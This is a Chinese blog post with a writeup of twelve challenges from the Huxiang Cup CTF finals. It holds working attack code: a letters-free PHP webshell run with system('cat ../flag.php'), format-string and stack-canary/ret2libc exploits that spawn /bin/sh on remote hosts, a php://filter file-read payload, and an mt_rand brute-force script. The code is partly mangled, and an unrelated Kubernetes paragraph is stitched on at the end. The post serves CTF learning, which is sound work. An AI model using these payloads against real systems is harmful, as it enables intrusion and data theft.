一日一文(8)

听说了很多的大牛的成长历程都从写自己的博客开始

虽然很久之前就开了博客但是没有坚持下去,让自己养成这样的习惯。学着写博客、学着分享。

每天尽量发一篇文章、其他学习文章随着学习进度慢慢写

今天还是有点累,没有多学什么东西,简单的吧昨天湖湘杯writeup发出来分享一下吧~

简单评价一下这次湖湘杯。。让人感觉有点难受,不说初赛时候60秒一道选择题。

复赛晚上十点结束还要4个小时内交writeup。。反正时间安排上感觉不是很友好

并且复赛题目emmmm原题占大多数,因此相对而言比较容易,但有些题目还是很经典的

1、  题目名Web300

 

思路:代码审计发现要求上传的payload不能含有数字和字符,参考https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html

可以构造相应的payload

这里我们构造了一个assert($_GET[_]);

将构造好的payload上传

$_=[];

$_=''.[];

$_=$_['_'=='__'];

$___=$_;

$__=$_;

$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;

$___.=$__;

$___.=$__;

$__=$_;

$__++;$__++;$__++;$__++;

$___.=$__;

$__=$_;

$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;

$___.=$__;

$__=$_;

$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;

$___.=$__;

 

$____='_';

$__=$_;

$__++;$__++;$__++;$__++;$__++;$__++;

$____.=$__;

$__=$_;

 

$__++;$__++;$__++;$__++;

$____.=$__;

$__=$_;

 

$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;

$____.=$__;

 

$_=$$____;

$___($_[_]);

 

之后?_=system(‘cat  ../flag.php’); 查看源码就有flag

 

 

2、  题目名 Encryptor.apk

 

将apk拖到apktool反编译

其实直接逆向可以查看java代码

分析一下代码逻辑就是获取输入的密码(默认是Password),然后md5处理,接着读取文件,调用encryptbyte函数功能就是将文件按字节与md5处理后的Password异或。于是乎写出逆算法就很简单了

 

exp.py

f=open('flag.encrypted','rb')

fcon=f.read()

def xor(text,hash):

       flag=''

       fori in range(0,len(text)):

              flag+= chr(ord(text[i])^hash)

       returnflag

 

 

fo=open('flag.decrypt','w')

fo.write(xor(fcon,0xdc647eb65e6711e155375218212b3964))

 

最后得到flag flag{all_encryption_is_equal_but_some_are_More_equal_than_others}

 

3、  题目名 热身运动

 

这个题目和实验吧上的一个题目很像,根据每一帧的位置,联想base64可以得到

B5 G4 B2 B4 B5 H2 E3 B2 F5 F8 E1 B2 F7 F6F1 G4 F5 G6 B1 G3 G5 H6 E2

25 38 49 33 25 55 44 49 29 5  60 49 13 21 61 38 29 22 57 46 30 23 52

ZmxhZ3sxdF8xNV9mdW5ueX0

        正确padding一下base64解码得到flag 'flag{1t_15_funny}'

4、  题目名 Misc 300

 

这道题目应该是pragyan-ctf-2016的原题,题目描述都没有,上来就丢一个pixels.jpg.pkl。。原题描述是who-made-me

于是乎跑脚本

import pickle

from PIL import Image

 

with open('pixels.jpg.pkl') as f:

       data= pickle.loads(f.read().encode('utf8'))

 

white_pixels = [(int(e[0]), int(e[1])) fore in data[1:]]

width = max([p[0] for p in white_pixels]) + 10

height = max([p[1] for p in white_pixels])+ 10

 

image = Image.new('1', (width, height), 0)

pixels = image.load()

 

for pixel in white_pixels:

       pixels[pixel[0],pixel[1]] = 255

      

image.show()

出来一个图片,动画人物'Calvin and Hobbes'的作者是'Bill Watterson' flag billwatterson

5、  题目名 pwne

 

这道题很明显是一个格式化字符串漏洞:

可以利用的函数

read(0, &buf, 64u);

printf(&buf);

可以leak栈地址,然后通过格式化字符串漏洞,写atoi的got表地址从而发送/bin/sh

Exp关键部分

cv("[Y/N]")

sd("Y")

cv("NAME:")

sd("%p===%p+++%35$p---")

cv("WELCOME")

leakstack=cv("===")

cv("+++")

leaklibc=cv("---")

base = leaklibc -offset___libc_start_main_ret

system = base + offset_system

system = libc['system']

system_h = system&0xffff0000

system_l = system&0x0000ffff

system_h=system_h >> 16

atoi_got=0x804A02C

cv("AGE:")

padding="\00"*32

pay="90\00\00"+padding+p32(atoi_got)+p32(atoi_got+2)

sd(pay)

cv("[Y/N]")

sd("Y")

cv("NAME")

payload="%{systeml}c%16$hn%{systemh}c%17$hn".format(systeml=system_l,systemh=system_h-system_l)

sd(payload)

cv("AGE")

sd("/bin/sh\00")

cat flag

#52c12be949d88c14ccbe29d8733434c9

p.interactive()

6、  题目名 pwns

 

大致看一下题目可以判断出先泄露stack canary,之后泄露libc。

#coding = utf-8

#code for pwns

from base64 import*

 

context.log_level= "debug"

local=False

name ="pwns"

 

if local:

    p = process(name)

else:

    p = remote("114.215.128.141 ",10080)

 

def sd(cont):

       p.sendline(cont)

def cv(cont):

       return p.recvuntil(cont)

 

if local:

       offset___libc_start_main_ret = 0x18637

       offset_system = 0x0003ada0

       offset_dup2 = 0x000d6300

       offset_read = 0x000d5af0

       offset_write = 0x000d5b60

       offset_str_bin_sh = 0x15b9ab

 

else:

       offset___libc_start_main_ret = 0x19af3

       offset_system = 0x00040310

       offset_read = 0x000dd3c0

       offset_write = 0x000dd440

       offset_str_bin_sh = 0x162cec

      

 

defsenddata(payload, ath = False, final = False):

       cv("[Y/N]")

       sd("Y")

       cv("datas:\n\n")

       if ath:

              attach()

       p.send(b64encode(payload))

       if not final:

              cv("Result is:")

              data = p.recvuntil("May beI",drop = True)

              return data

       else:

              return

 

def getcanary():

       slen = 0x10d - 0xc

       payload = 'a' * slen

       data = senddata(payload + 'a')

       canary = data[258:261]

       return canary

 

def getlibc():

       slen = 0x10d - 0xc + 0x50

       payload = 'a' * slen

       data = senddata(payload)

       leak = data[0x151:0x151 + 4]

       return leak

 

canary = u32("\x00" +getcanary())

print "canary: ", hex(canary)

leak = u32(getlibc())

print "leak: ", hex(leak)

system_addr = leak -offset___libc_start_main_ret + offset_system

binsh_addr = leak -offset___libc_start_main_ret + offset_str_bin_sh

payload = 'a' * 0x101 + p32(canary) +p32(0xdeadbeef)*3 + p32(system_addr) + p32(0xdeadbeef) + p32(binsh_addr)

senddata(payload,final = True)

p.interactive()

 

7、  题目名 pyc分析

 

首先搜一下站长工具pyc反编译

#!/usr/bin/env python

# encoding: utf-8

bbbb = (lambda __g, __y: continue[ [ [ [ [[ [ (fin.close(), [ [ ([], [])(((lambda __items, __after, __sentinel: (None,None, None, __y)((lambda __this: (lambda : (lambda __i: if __i is not__sentinel:

continue[ (ss.append(c), (sss.append(0),__this())[1])[1] for None in [

__i] ][0]None())(next(__items, __sentinel))

)

))()

), iter(s)), (lambda : continue[ [ (lambda__items, __after, __sentinel: (None, None, None, __y)((lambda __this: (lambda :(lambda __i: if __i is not __sentinel:

continue[ (lambda __value: continue[__this() for None in [

(lambda __ret: if __ret is NotImplemented:

__g['sssss'] +__value)(getattr(__g['sssss'], '__iadd__', (lambda other:NotImplemented))(__value))] ][0]

)(chr(c)) for None in [

                                __i] ][0]

                        return None()

)(next(__items, __sentinel))

)

))()

)((iter(ssss),), (lambda : continue[(fout.write(sssss), (fout.close(), None)[1])[1] for None in [

open('key.enc', 'wb+')] ][0]), []) for Nonein [

           ''] ][0] for None in [

           encode(ss, sss)] ][0]

), []) for None in [

       []] ][0] for None in [

       []] ][0])[1] for None in [

       fin.read().strip()] ][0] for None in [

       open('key.txt', 'r')] ][0] for None in [

       ((lambda data, buf: (lambda __l: continue[ [ ([], [])(((lambda __items,__after, __sentinel: (None, None, None, __y)((lambda __this: (lambda : (lambda__i: if __i is not __sentinel:

continue[ [ __this() for None in [

table.index(__l['data'][__l['i']]) + 1]][0] for None in [

__i] ][0]None())(next(__items, __sentinel))

)

))()

), iter(xrange(__l['_len']))), (lambda :(lambda __items, __after, __sentinel: (None, None, None, __y)((lambda __this:(lambda : (lambda __i: if __i is not __sentinel:

continue[ [ [ __this() for None in [

setbit(__l['buf'], __l['i'],getbit(__l['data'], __l['j']))] ][0] for None in [

(__l['i'] / 6) * 8 + __l['i'] % 6] ][0] forNone in [

__i] ][0]None())(next(__items, __sentinel))

)

))()

)((iter(xrange(__l['_len'] * 6)),), (lambda: __l['buf']), [])

), []) for None in [

                    len(__l['data'])] ][0] forNone in [

                   (data, buf)] ][0]

)({ })

), 'encode')] ][0] for None in [

       ((lambda p, pos: (lambda __l: continue[ [ [ __l['p'][__l['cpos']]>> __l['bpos'] & 1 for None in [

__l['pos'] % 8] ][0] for None in [

__l['pos'] / 8] ][0] for None in [

(p, pos)] ][0])({ })

), 'getbit')] ][0] for None in [

       ((lambda p, pos, value: (lambda __l: continue[ [ [ (lambda __target,__slice, __value: continue[ (lambda __target, __slice, __value: continue[__l['p'] for None in [

(lambda __old: (lambda __ret: if __ret isNotImplemented:

__old | __value)(getattr(__old, '__ior__',(lambda other: NotImplemented))(__value))

)(__target[__slice])] ][0]

)(__l['p'], __l['cpos'], __l['value']<< __l['bpos']) for None in [

                        (lambda __old: (lambda__ret: if __ret is NotImplemented:

__old & __value)(getattr(__old,'__iand__', (lambda other: NotImplemented))(__value))

)(__target[__slice])] ][0]

)(__l['p'], __l['cpos'], ~(1 <<__l['bpos'])) for None in [

                    __l['pos'] % 8] ][0] forNone in [

                    __l['pos'] / 8] ][0] for Nonein [

                    (p, pos, value)] ][0]

)({ })

), 'setbit')] ][0] for None in [

       string.printable.strip()] ][0] for None in [

       __import__('string', __g, __g)] ][0]

)(globals(), (lambda f: ((lambda x:x(x)),)((lambda y: (f,)((lambda : y(y)()))

))

))

得到这些python源码,看了一下应该是XDCTF2015的reverse

然后分析一下其中算法写出exp.py

注意其中要将定义好的全局变量i和table添加到脚本当中跑出来的是key。。。真是无语,不是说好了flag形式么。。

i = 654

table ='0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~'

 

def tobin(b):

       ret=''

       fori in [128,64,32,16,8,4,2,1]:

              ret+= '1' if b&i else '0'

       returnret

 

def decode3b(s):

       a= s >> 16

       b= (s >> 8) & 0xFF

       c= s & 0xFF

       sa= tobin(a)

       sb= tobin(b)

       sc= tobin(c)

       returntable[int(sa[2:],2)]+table[int(sb[4:]+sa[:2],2)]+table[int(sc[6:]+sb[:4],2)]+table[int(sc[:6],2)]

 

a = open('key.enc','rb')

a = a.read()

s=''

for i in xrange(0,len(a),3):

       s+=decode3b(int(a[i:i+3].encode('hex'),16))

 

print s

 

s=''.join(map(lambda c:table[(table.index(c)+63)%64],s))

print s

#hhhhhqqqqKeyd9733c070b2138e5fsssfffffff"""""""""""""

然后查看table[64]对应的{‘d’->’:’}于是乎最后key: 9733c070b2138e5f

 

8、  题目名 random

 

首先查看到网络备份信息.index.php.swp最初的时候应该是htaccess配置问题导致备份文件无法查看,后来调整之后可以看到源码了

Index.php

<?php

error_reporting(0);

$flag = "*********************";

echo "please input a rand_num !";

function create_password($pw_length =  10){

       $randpwd= "";

       for($i = 0; $i < $pw_length; $i++){

              $randpwd.= chr(mt_rand(100, 200));

       }

       return$randpwd;

}

 

session_start();

 

mt_srand(time());

 

$pwd=create_password();

 

echo $pwd.'||';   

 

if($pwd == $_GET['pwd']){

   echo "first";

   if($_SESSION['userLogin']==$_GET['login'])

          echo "Nice , you get the flag it is".$flag ;

}else{

       echo"Wrong!";

}

 

$_SESSION['userLogin']=create_password(32).rand();

 

?>

 

发现其实就是爆破一下pwd然后提交就可以了

写一个php脚本本地执行一下

Exp.php

<?php

 

function create_password($pw_length =  10)

{

   $randpwd = "";

   for ($i = 0; $i < $pw_length; $i++)

    {

       $randpwd .= chr(mt_rand(100,200));

    }

   return $randpwd;

}

session_start();

 

for($i=time()-10;$i<time()+10;$i++)

{

   mt_srand($i);

   $pwd=create_password();

   $curl=file_get_contents("http://114.215.138.89:10080/index.php?pwd=$pwd&login=");

   echo $curl.'<br>';

}

 

?>

9、  题目名 web200

 

题目本意应该是文件上传吧。。

首先扫后台看见存在flag.php

但是应该出现了未知错误导致直接文件包含就可以,利用PHP伪协议

构造payload ?op=php://filter/read=convert.base64-encode/resource=flag

Base64解码就出来了

>>> 'PD9waHAgCiRmbGFnPSJmbGFne2M0MjBmYjQwNTRIOTE5NDRhNzFmZjY4ZjcwNzliOTQyNGU1Y2JhMjF9ljsgCj8+Cg=='.decode('base64')

'<?php\n$flag="flag{c420fb4054H91944a71ff68f7079b9424e5cba21}\x96; \n?>\n'

10、         题目名  Re4newer

 

这是一道非常简单的但是脑洞非常大的题目。。

直接upx脱壳,丢到ida中分析一下很明显看到代码逻辑,印象里大致是对输入字符串要求44位,然后每位异或0x22与指定字符串对比,写出exp.py

得到一个很奇怪的字符串。。先进行了一下各种古典加密操作,感觉还是乱码还以为自己这么简单的题目还会写错。。结果经过队友提醒,逆序一下看见了flag,四位一组组成自己能理解能认识的句子。。这种题目确实没什么好感。

text1=[0x13,0x4A,0x76,0x59,0x45,0x43,0x4E,0x44,0x52,0x4F,0x4B,0x51,0x54,0x7D,0x63,0x7D,0x5F,0x56,0x13,0x7D,0x67,0x67,0x70,0x70,0x70,0x7D,0x47,0x4E,0x71,0x4B,0x7D,0x51,0x71,0x51,0x63,0x52,0x7D,0x57,0x7D,0x67,0x7D,0x5B,0x50,0x11]

flag=''

 

for i in range(0,43):

       flag+= chr(text1[i]^0x22)

print flag

#1hT{galfpmisv_A_}t1_EERRR_elSi_sSsAp_u_E_yr3

'''

flag

{Th1

s_iS

_A_v

3ry_

simp

le_R

RREE

E_u_

pAsS

_1t}

'''

#flag{Th1s_iS_A_v3ry_simple_RRREEE_u_pAsS_1t}

11、         题目名 简单的android

 

Apktool直接解一下就出来了,明文字符串比较。。

12、         题目名 流量分析

 

拖到wireshark查看对象,分析http对象的时候发现了zip文件,导出解压缩是个ce.txt很明显是rgb

写一个python脚本跑一下出来一张图片

Exp.py

from PIL import Image

import re

import os

print os.getcwd()

x = 887

y = 111

image = Image.new("RGB",(x,y))

f = open('ce.txt')

for i in range(0,x):

   for j in range(0,y):

       l = f.readline()

       r = l.split(", ")

       image.putpixel((i,j),(int(r[0]),int(r[1]),int(r[2])))

image.save('image1.jpg')



Kubernetes (k8s)是一种用于自动化应用程序部署、扩展和管理的开源容器编排平台。在k8s中,Pod是最小的可调度和可管理的单位,也是应用程序的运行实例。 Pod是一组共享资源的容器集合,它们运行在同一个节点上,并共享相同的网络命名空间和存储卷。一个Pod通常包含一个或多个紧密相关的容器,它们共享相同的生命周期和资源。这些容器之间可以通过本地主机上的localhost进行通信。 Pod的设计理念是将一组密切相关的容器放在同一个Pod中,以便它们能够轻松地共享资源,包括存储和网络。Pod可以在Kubernetes上进行水平扩展,即通过增加Pod的数量来增加应用程序的容量和吞吐量。 Pod是临时的和短暂的,它可以在任何时候被创建、销毁或重新创建。这个设计使得应用程序变得弹性和可伸缩,并支持故障恢复。当Pod被销毁时,Kubernetes会自动重新创建一个新的Pod来替代它,以保持应用程序的可用性。 Pod具有唯一的IP地址,并且可以由其他Pod或外部网络访问。它还可以指定一些元数据(如标签和注释),以方便按需选择和管理Pod。通过使用Pod模板,可以定义Pod的规范,包括容器映像、资源要求和环境变量等。 总之,Pod是Kubernetes中的基本概念,它是一组紧密相关的容器的运行实例。Pod提供了容器之间共享资源的环境,并支持弹性扩展和故障恢复。通过使用Pod,我们可以更高效地管理和部署我们的应用程序。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值